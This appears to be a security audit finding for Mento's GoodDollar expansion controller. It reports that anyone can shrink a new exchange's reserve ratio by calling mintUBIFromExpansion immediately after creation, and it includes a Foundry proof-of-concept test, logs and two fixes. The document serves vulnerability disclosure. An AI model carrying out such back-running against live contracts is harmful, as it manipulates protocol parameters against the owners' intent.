Pet Tawny Loris

Medium

# Malicious users can immediately reduce the original reserve ratio after the exchange is created.

### Summary

When an exchange is created, the reserve ratio is provided as an initial ratio. In my opinion, the exchange owner might want to maintain that reserve ratio for at least one extension step(e.g. 1 day).

However, by back-running the exchange creation, the given reserve ratio can be shrunk by an extension rate.

### Root Cause

The [`GoodDollarExpansionController::_getReserveRatioScalar()`](https://github.com/sherlock-audit/2024-10-mento-update/blob/main/mento-core/contracts/goodDollar/GoodDollarExpansionController.sol#L225-L237) function calculates the number of extension steps to be applied to the reserve ratio of an exchange.

```solidity
  function _getReserveRatioScalar(ExchangeExpansionConfig memory config) internal view returns (uint256) {
    uint256 numberOfExpansions;

    // If there was no previous expansion, we expand once.
    if (config.lastExpansion == 0) {
      numberOfExpansions = 1;
    } else {
      numberOfExpansions = (block.timestamp - config.lastExpansion) / config.expansionFrequency;
    }

    uint256 stepReserveRatioScalar = MAX_WEIGHT - config.expansionRate;
    return unwrap(powu(wrap(stepReserveRatioScalar), numberOfExpansions));
  }
```

Upon creation of an exchange and its expansion configuration, the `lastExpansion` value is initialized to `0`. When the `mintUBIFromExpansion()` function is invoked for the first time, a single expansion is applied to the exchange.

A malicious user can exploit this issue to immediately shrink the original reserve ratio by back-running an exchange creation.

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

The attack scenario is quite simple:

1. A malicious actor waits for the creation of any new exchange.
2. Right after an exchange is created, the actor invokes the `GoodDollarExpansionController::mintUBIFromExpansion()` function.

### Impact

The owner's intended reserve ratio cannot be applied.

### PoC

Here is the test case to demonstrate the back-running attack as soon as new exchange has been created:

```solidity
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.18;
// solhint-disable func-name-mixedcase, var-name-mixedcase, state-visibility
// solhint-disable const-name-snakecase, max-states-count, contract-name-camelcase

import {console} from "forge-std/console.sol";

import { Test } from "forge-std/Test.sol";
import { ERC20Mock } from "openzeppelin-contracts-next/contracts/mocks/ERC20Mock.sol";
import { GoodDollarExchangeProvider } from "contracts/goodDollar/GoodDollarExchangeProvider.sol";
import { GoodDollarExpansionController } from "contracts/goodDollar/GoodDollarExpansionController.sol";

import { IGoodDollarExpansionController } from "contracts/interfaces/IGoodDollarExpansionController.sol";
import { IGoodDollarExchangeProvider } from "contracts/interfaces/IGoodDollarExchangeProvider.sol";
import { IBancorExchangeProvider } from "contracts/interfaces/IBancorExchangeProvider.sol";
import { IDistributionHelper } from "contracts/goodDollar/interfaces/IGoodProtocol.sol";
import { IReserve } from "contracts/interfaces/IReserve.sol";

import { GoodDollarExpansionControllerHarness } from "test/utils/harnesses/GoodDollarExpansionControllerHarness.sol";

import { GoodDollarExpansionControllerTest } from "../goodDollar/GoodDollarExpansionController.t.sol";

contract ExpansionControllerExpansionBackRunningTest is GoodDollarExpansionControllerTest {
  GoodDollarExpansionController expansionController;
  address brokerAddress;

  function setUp() public override {
    super.setUp();

    brokerAddress = makeAddr("Broker");
    
    vm.mockCall(
      reserveAddress,
      abi.encodeWithSelector(IReserve(reserveAddress).isStableAsset.selector, address(token)),
      abi.encode(true)
    );
    vm.mockCall(
      reserveAddress,
      abi.encodeWithSelector(IReserve(reserveAddress).isCollateralAsset.selector, address(reserveToken)),
      abi.encode(true)
    );
    vm.mockCall(
      distributionHelper,
      abi.encodeWithSelector(IDistributionHelper(distributionHelper).onDistribution.selector),
      abi.encode(true)
    );

    expansionController = initializeGoodDollarExpansionController();

    exchangeProvider = address(new GoodDollarExchangeProvider(false));
    IGoodDollarExchangeProvider(exchangeProvider).initialize(brokerAddress, reserveAddress, address(expansionController), avatarAddress);

    expansionController.setGoodDollarExchangeProvider(exchangeProvider);

    vm.startPrank(avatarAddress);
    exchangeId = IBancorExchangeProvider(exchangeProvider).createExchange(pool);
    expansionController.setExpansionConfig(exchangeId, expansionRate, expansionFrequency);
    console.log("Exchange creation timestamp:", block.timestamp);
    vm.stopPrank();
  }

  function test_mintUBIFromExpansion_backrunningExchangeCreation() public {
    // @audit: At this moment, the exchange has just been created and then its configuration has been set
    IGoodDollarExpansionController.ExchangeExpansionConfig memory config = expansionController.getExpansionConfig(
      exchangeId
    );
    assert(block.timestamp < config.lastExpansion + config.expansionFrequency); // Ensure no expansion step is passed
    IBancorExchangeProvider.PoolExchange memory poolExchange = IBancorExchangeProvider(exchangeProvider).getPoolExchange(exchangeId);
    console.log("Reserve Ratio before being attacked:", poolExchange.reserveRatio);

    console.log("Minting from expansion timestamp:", block.timestamp);
    uint256 amountMinted = expansionController.mintUBIFromExpansion(exchangeId);

    poolExchange = IBancorExchangeProvider(exchangeProvider).getPoolExchange(exchangeId);
    console.log("Reserve Ratio after being attacked:", poolExchange.reserveRatio);
  }
}
```

Output:
```log
[PASS] test_mintUBIFromExpansion_backrunningExchangeCreation() (gas: 117674)
Logs:
  Exchange creation timestamp: 1
  Reserve Ratio before being attacked: 20000000
  Minting from expansion timestamp: 1
  Reserve Ratio after being attacked: 19800000
```

As can be seen from the logs, the attack is able to shrink original reserve ratio without any delay.

### Mitigation

Two alternative mitigation options:

1. Setting `lastExpansion` when the expansion configuration is set

```diff
  function setExpansionConfig(bytes32 exchangeId, uint64 expansionRate, uint32 expansionFrequency) external onlyAvatar {
    ... ...

    exchangeExpansionConfigs[exchangeId].expansionRate = expansionRate;
    exchangeExpansionConfigs[exchangeId].expansionFrequency = expansionFrequency;
+   exchangeExpansionConfigs[exchangeId].lastExpansion = block.timestamp;

    emit ExpansionConfigSet(exchangeId, expansionRate, expansionFrequency);
  }
```

2. Disallowing an expansion for the very first attempt
```diff
  function _getReserveRatioScalar(ExchangeExpansionConfig memory config) internal view returns (uint256) {
    ... ...
    if (config.lastExpansion == 0) {
-     numberOfExpansions = 1;
+     numberOfExpansions = 0;
    } else {
      numberOfExpansions = (block.timestamp - config.lastExpansion) / config.expansionFrequency;
    }
    ... ...
  }
```